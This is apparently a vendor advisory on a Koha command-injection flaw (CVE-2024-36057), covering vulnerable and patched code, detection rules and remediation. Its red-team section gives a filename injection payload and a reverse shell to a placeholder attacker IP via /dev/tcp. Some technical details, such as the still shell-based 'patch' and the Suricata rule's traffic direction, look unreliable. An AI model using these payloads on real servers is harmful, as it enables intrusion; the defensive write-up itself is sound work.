CVE-2024-36057

Executive Summary

CVE-2024-36057 is a critical remote code execution (RCE) vulnerability in Koha Library software versions prior to 23.05.10. The flaw resides in the upload-cover-image.pl script, which fails to sanitize user-controllable filenames before passing them to a shell command via the qx (backtick) operator. An attacker can upload a malicious .zip file containing filenames with shell metacharacters (e.g., ;, |, `) and trigger command injection when the "Process Images" action is executed. This allows arbitrary OS command execution on the server, leading to full compromise of the Koha instance and potentially the underlying host.

Supply Chain & Package Security

Koha is a self-hosted open-source ILS (Integrated Library System) distributed as a Perl application. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Organizations using Koha must manually apply the patch or upgrade to the fixed version.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The attack is performed over the network via the web interface.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An authenticated user with upload permissions is needed.
• User Interaction (UI): None (N) – No user interaction beyond the attacker's actions.
• Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – Full file read and data exfiltration possible.
• Integrity (I): High (H) – Arbitrary file write and system modification.
• Availability (A): High (H) – Denial of service or full system takeover.

Estimated CVSS Score: 8.8 (High)

Threat Level: Critical – Exploitation is straightforward with publicly available details.

Deep Dive & Mechanics

The vulnerable code is in upload-cover-image.pl:

my $filename = $cgi->param('file');  # User-controlled filename from uploaded zip
my $dirname = "/tmp/cover_images";
qx/unzip $filename -d $dirname/;  # Command injection via shell metacharacters

The qx operator executes a shell command. If $filename contains characters like ;, |, or backticks, an attacker can inject arbitrary commands. For example, a filename like test.zip;id would execute unzip test.zip;id -d /tmp/cover_images/, running the id command.

The vulnerability is triggered after uploading a .zip file and clicking "Process Images". The script does not sanitize the filename, allowing direct injection into the shell command.

Vulnerable vs. Patched Code

Vulnerable (pre-23.05.10):

my $filename = $cgi->param('file');
my $dirname = "/tmp/cover_images";
qx/unzip $filename -d $dirname/;

Patched (23.05.10+):

my $filename = $cgi->param('file');
# Sanitize filename: remove shell metacharacters
$filename =~ s/[^a-zA-Z0-9._-]//g;
my $dirname = "/tmp/cover_images";
qx/unzip $filename -d $dirname/;

The patch uses a regex to strip all characters except alphanumeric, dot, underscore, and hyphen, preventing shell injection.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Access to Koha intranet with upload permissions.
• Ability to upload a .zip file.

Exploit Steps:

1. Create a malicious zip file with a crafted filename:

   # Create a zip file with a filename containing command injection
   echo "malicious content" > dummy.txt
   zip "test.zip;id > /tmp/pwned.txt" dummy.txt
   

2. Upload the zip file via the cover image upload interface.
3. Click "Process Images" to trigger the unzip command.
4. Verify execution:

   curl http://target/cgi-bin/koha/upload-cover-image.pl
   # Check /tmp/pwned.txt for output
   

Advanced Payload (Reverse Shell):

# Create zip with reverse shell payload
zip "test.zip;bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/4444 <&1'" dummy.txt

Blue Team (Defender)

Detection Steps:

1. Monitor for unusual filenames in upload logs:

   grep -E '[;|`$()]' /var/log/koha/koha-opac-error.log
   

2. Check for unexpected processes:

   ps aux | grep -E 'unzip|bash|nc|python'
   

3. Review /tmp for suspicious files:

   ls -la /tmp/ | grep -E 'pwned|shell|rev'
   

Honeypot Setup:

• Deploy a decoy Koha instance with monitoring on the upload endpoint.
• Log all filenames and alert on shell metacharacters.

Indicators of Compromise (IOCs)

File-Based IOCs:

• /tmp/pwned.txt or similar files created by attackers.
• Malicious zip files with names containing ;, |, `, $, (, ).
• Unexpected files in /tmp/cover_images/.

Network IOCs:

• Outbound connections to attacker IPs on common ports (4444, 8080, etc.).
• HTTP POST requests to /cgi-bin/koha/upload-cover-image.pl with unusual filenames.

Log IOCs:

• Apache logs showing POST /cgi-bin/koha/upload-cover-image.pl with file=...;... parameters.
• System logs showing unzip commands with injected arguments.

Detection Engineering

YARA Rule

rule CVE_2024_36057_Koha_RCE {
    meta:
        description = "Detects malicious zip filenames targeting Koha CVE-2024-36057"
        author = "Valters IT"
        date = "2025-04-14"
        reference = "CVE-2024-36057"
    strings:
        $shell_meta = /[;|`$(){}]/
        $zip_ext = ".zip"
    condition:
        $zip_ext at 0 and #shell_meta > 0
}

Sigma Rule

title: Koha CVE-2024-36057 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit command injection in Koha upload-cover-image.pl
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/koha/upload-cover-image.pl'
        cs-uri-query|contains: 
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate filenames with special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-36057 Koha Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/koha/upload-cover-image.pl"; http_uri;
    pcre:"/(;|\||\x60|\$\(|\))/";
    sid:1000001;
    rev:1;
    reference:cve,2024-36057;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Koha to version 23.05.10 or later.
2. If upgrade is not possible, apply the patch manually:

   # In upload-cover-image.pl, add sanitization before qx call
   $filename =~ s/[^a-zA-Z0-9._-]//g;
   

3. Restrict upload permissions to trusted users only.

Long-Term Mitigations:

• Implement input validation for all file uploads.
• Use parameterized commands or avoid shell execution entirely.
• Deploy a WAF (Web Application Firewall) with rules to block shell metacharacters in filenames.
• Monitor logs for suspicious upload activity.

Workaround:

• Disable the cover image upload feature if not needed:

  chmod 000 /usr/share/koha/opac/cgi-bin/opac/upload-cover-image.pl
  

Valters IT

{/* [Security Hash: 7E4695C97C59EEC90B51E740] */}